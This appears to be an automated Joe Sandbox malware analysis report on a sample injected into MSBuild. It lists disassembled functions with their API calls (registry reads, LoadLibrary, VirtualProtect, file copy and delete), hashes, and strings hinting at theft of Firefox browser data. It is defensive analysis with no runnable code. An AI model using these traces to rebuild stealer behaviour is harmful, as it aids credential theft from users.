Instruction Fuzzy Hash: 85212F31706224ABEB04BA64CC88BAE73B9AB87700F511529F90797F40E7717C04C794

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,01350BE0,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,013554E0,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01354DA0), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,01354DD0), ref: 00410866
StrCmpCA.SHLWAPI(00000000,01354E90), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,01354DA0), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,01354DD0), ref: 00410866
StrCmpCA.SHLWAPI(00000000,01354E90), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(01355050,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A0BD
LoadLibraryA.KERNEL32(01355960,?,?,?,?,?,?,?,?,?,?,?,00410153), ref: 0040A146

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,01340578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

SetEnvironmentVariableA.KERNEL32(01355050,00000000,00000000,?,004212D8,?,00410153,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AFE), ref: 0040A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A0B2, 0040A0C6, 0040A0DC

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-2812842227
Opcode ID: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction ID: 8fd865f7776555e91364b6e3317f0d6dd22ba45ac697d56d5a10bd23e480980a
Opcode Fuzzy Hash: 07a49a677ead869cdb048d5ff3e3ebc0c5f58c9520126a3c0d38a2b5359966bc
Instruction Fuzzy Hash: F9418DB9941204BFCB04EFE5ED45BEA33B6BB0A305F05112EF405A32A0DB385985CB67

Function 00406BE0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,@Jn@,@Jn@), ref: 00406C9F

Strings

Jn@, xrefs: 00406C1D, 00406C39, 00406C88, 00406C98, 00406C04, 00406C28, 00406C33
Jn@, xrefs: 00406BED, 00406C0D, 00406C8F
@Jn@, xrefs: 00406C80, 00406C83

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: @Jn@$Jn@$Jn@
API String ID: 544645111-1180188686
Opcode ID: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction ID: b746c2a28f05bbd6b1460d210bf7098c9bc173f160aa6dfc6dfdc57a011f18e7
Opcode Fuzzy Hash: caf630da144662436c325b164354e3ce96217d6286d52214ffa948e93cb1361e
Instruction Fuzzy Hash: FA213374E04208EFEB04CF84C544BAEBBB5FF48304F1181AAD54AAB381D3399A91DF85

Function 0040A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01349A00,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A2E1
lstrlenA.KERNEL32(00000000,00000000), ref: 0040A3FF
lstrlenA.KERNEL32(00000000), ref: 0040A6BC

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 00409E10: memcmp.MSVCRT(?,v20,00000003), ref: 00409E2D

DeleteFileA.KERNEL32(00000000), ref: 0040A743

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTimememcmp
String ID:
API String ID: 257331557-0
Opcode ID: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction ID: ddd88d02e0d3355bf8470c19a8c4de6788c323a7c51f3fd4630425147b47cfd6
Opcode Fuzzy Hash: b7176928946b1c5edd0e3b87ac6ff903d2ed7c9f838d33a1febf9b44a64ae9bf
Instruction Fuzzy Hash: 85E134728111089ACB04FBA5DD91EEE733CAF14314F50815EF51672091EF386A9ECB7A

Function 0040D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 00418B60: GetSystemTime.KERNEL32(?,01349A00,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D801
lstrlenA.KERNEL32(00000000), ref: 0040D99F
lstrlenA.KERNEL32(00000000), ref: 0040D9B3
DeleteFileA.KERNEL32(00000000), ref: 0040DA32

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction ID: 30f7704c13366a17925c5eaa4a94e79927efa66a8a92483c7baa761e0d0dbf9b
Opcode Fuzzy Hash: 3c5ceba100194b79545c3d551ce876f4aace018116f61e714243a0a1ba28ee76
Instruction Fuzzy Hash: 848122719111089BCB04FBE1DD52EEE7339AF14314F50452EF407A6091EF386A9ACB7A

Function 0040F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421580,00420D92), ref: 0040F54C
lstrlenA.KERNEL32(00000000), ref: 0040F56B

Strings

moz-extension+++, xrefs: 0040F5AD
^userContextId=4294967295, xrefs: 0040F59C

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
